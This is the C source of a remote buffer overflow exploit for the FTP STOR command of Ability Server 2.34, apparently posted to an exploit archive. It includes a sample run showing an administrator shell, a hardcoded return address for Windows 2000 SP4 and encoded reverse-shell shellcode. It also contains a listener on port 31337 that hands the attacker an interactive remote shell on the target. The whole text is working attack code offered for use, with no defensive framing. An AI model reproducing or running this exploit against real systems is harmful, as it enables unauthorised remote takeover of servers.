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Ability Server 2.34 FTP STOR Buffer Overflow Exploit (Unix Exploit)
=================================================================== Ability Server 2.34 FTP STOR Buffer Overflow Exploit (Unix Exploit) =================================================================== /* no@0x00:~/Exploits/abilityftp$ ./ability-exploit **Ability Server 2.34 Remote buffer overflow exploit in ftp STOR by NoPh0BiA.** [x] Launching listener. [x] Bind successfull. [x] Listening on port 31337. [x] Connected to: 192.168.0.1. [x] Sending bad code...done. [x] Waiting for shell. [x] Got connection from 192.168.0.1. [x] 0wn3d! Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop\abilitywebserver> reverse shellcode that connects back to 192.168.0.2 lamers get your own shellcode ;) bad chars 0x00 0x0a 0x0d. */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <errno.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #define RET "\xC7\xF2\xC8\x77" /*win2k adv server sp4*/ #define PORT 21 #define PORT1 31337 #define BACKLOG 1 /* www.metasploit.com*/ char shellcode[] = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5a\x81\x73\x17\x92\x8e" "\xe9\x41\x83\xeb\xfc\xe2\xf4\x6e\x66\xbf\x41\x92\x8e\xba\x14\xc4" "\xd9\x62\x2d\xb6\x96\x62\x04\xae\x05\xbd\x44\xea\x8f\x03\xca\xd8" "\x96\x62\x1b\xb2\x8f\x02\xa2\xa0\xc7\x62\x75\x19\x8f\x07\x70\x6d" "\x72\xd8\x81\x3e\xb6\x09\x35\x95\x4f\x26\x4c\x93\x49\x02\xb3\xa9" "\xf2\xcd\x55\xe7\x6f\x62\x1b\xb6\x8f\x02\x27\x19\x82\xa2\xca\xc8" "\x92\xe8\xaa\x19\x8a\x62\x40\x7a\x65\xeb\x70\x52\xd1\xb7\x1c\xc9" "\x4c\xe1\x41\xcc\xe4\xd9\x18\xf6\x05\xf0\xca\xc9\x82\x62\x1a\x8e" "\x05\xf2\xca\xc9\x86\xba\x29\x1c\xc0\xe7\xad\x6d\x58\x60\x86\x13" "\x62\xe9\x40\x92\x8e\xbe\x17\xc1\x07\x0c\xa9\x8d\x8e\xe9\x41\x02" "\x8f\xe9\x41\x24\x97\xf1\xa6\x36\x97\x99\xa8\x7e\x77\x43\x21\x4b" "\x87\x1c\xec\x59\x63\x15\x7a\xc5\xdd\xdb\x1e\xa1\xbc\xe9\x1a\x1f" "\xc5\xf1\x10\x6d\x59\x60\x9e\x1b\x4d\x64\x34\x86\xe4\xec\x18\xc3" "\xdd\x16\x75\x1d\x71\xbc\x45\xcb\x07\xed\xcf\x70\x7c\xc2\x66\xc6" "\x71\xde\xbe\xc7\xa6\xd8\x81\xc2\xde\xb9\x11\xd2\xde\xa9\x11\x6d" "\xdb\xcd\xc8\x55\xe6\x29\xe9\x92\x8c\x81\x43\x92\xf4\x80\xc8\x73" "\xe4\xf9\x10\xc5\x71\xbc\x61\xcb\xd7\x81\x02\xdf\xca\xe9\xc8\x71" "\x09\x13\x70\x52\x03\x95\x65\x3e\xe4\xfc\x18\x61\x25\x6e\xbb\x11" "\x62\xbd\x87\xd6\xaa\xf9\x05\xf4\x49\xad\x65\xae\x8f\xe8\xc8\xee" "\xaa\xa1\xc8\xee\xaa\xa5\xc8\xee\xaa\xb9\xcc\xd6\xaa\xf9\x15\xc2" "\xdf\xb8\x10\xd3\xdf\xa0\x10\xc3\xdd\xb8\xbe\xe7\x8e\x81\x33\x6c" "\x3d\xff\xbe\xc7\x8a\x16\x91\x1b\x68\x16\x34\x92\xe6\x44\x98\x97" "\x40\x16\x14\x96\x07\x2a\x2b\x6d\x71\xdf\xbe\x41\x71\x9c\x41\xfa" "\x7e\x63\x45\xcd\x71\xbc\x45\xa3\x55\xba\xbe\x42\x8e\xe9\x41"; struct sockaddr_in hrm,lar,target; void shell(int sock) { fd_set fd_read; char buff[1024]; int n; while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { n=read(sock,buff,sizeof(buff)); if (n == 0) { printf ("Connection closed.\n"); exit(EXIT_FAILURE); } else if (n < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1,buff,n); } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<=0){ perror ("read user"); exit(EXIT_FAILURE); } write(sock,buff,n); } } close(sock); } int conn(char *ip) { int sockfd; hrm.sin_family = AF_INET; hrm.sin_port = htons(PORT); hrm.sin_addr.s_addr = inet_addr(ip); bzero(&(hrm.sin_zero),8); sockfd = socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr *)&hrm,sizeof(struct sockaddr))) < 0) { perror("connect"); exit(0); } printf("[x] Connected to: %s.\n",ip); return sockfd; } int listener() { int sd; lar.sin_family = AF_INET; lar.sin_port = htons(PORT1); lar.sin_addr.s_addr = INADDR_ANY; bzero(&(lar.sin_zero),8); sd = socket(AF_INET,SOCK_STREAM,0); if((bind(sd,(struct sockaddr *)&lar,sizeof(struct sockaddr)))<0) { perror("bind"); exit(0); } printf("[x] Bind successfull.\n"); if((listen(sd,BACKLOG)) < 0) { perror("listen"); exit(0); } printf("[x] Listening on port %d.\n",PORT1); return sd; } int main(int argc, char *argv[]) { char *buffer=malloc(1387),*A=malloc(968),*B=malloc(32),*reply=malloc(200); int x,l,news,f; memset(A,0x41,968); strcat(buffer,A); memset(B,0x42,32); strcat(buffer,RET); strcat(buffer,B); strcat(buffer,shellcode); printf("**Ability Server 2.34 Remote buffer overflow exploit in ftp STOR by NoPh0BiA.**\n"); printf("[x] Launching listener.\n"); l = listener(); x = conn("192.168.0.1"); sleep(5); printf("[x] Sending bad code..."); write(x,"USER lar\r\nPASS lar\r\n",20); sleep(3); write(x,"STOR ",5); write(x,buffer,strlen(buffer)); write(x,"\r\n\r\n",4); sleep(3); printf("done.\n"); printf("[x] Waiting for shell.\n"); close(x); while(1) { news = sizeof(struct sockaddr_in); if((f=accept(l,(struct sockaddr *)&target,&news)) < 0) { perror("accept"); continue; } printf("[x] Got connection from %s.\n",inet_ntoa(target.sin_addr)); if(!fork()){ printf("[x] 0wn3d!\n\n"); shell(f); close(f); exit(0); } close(f); } } # 0day.today [2024-12-24] #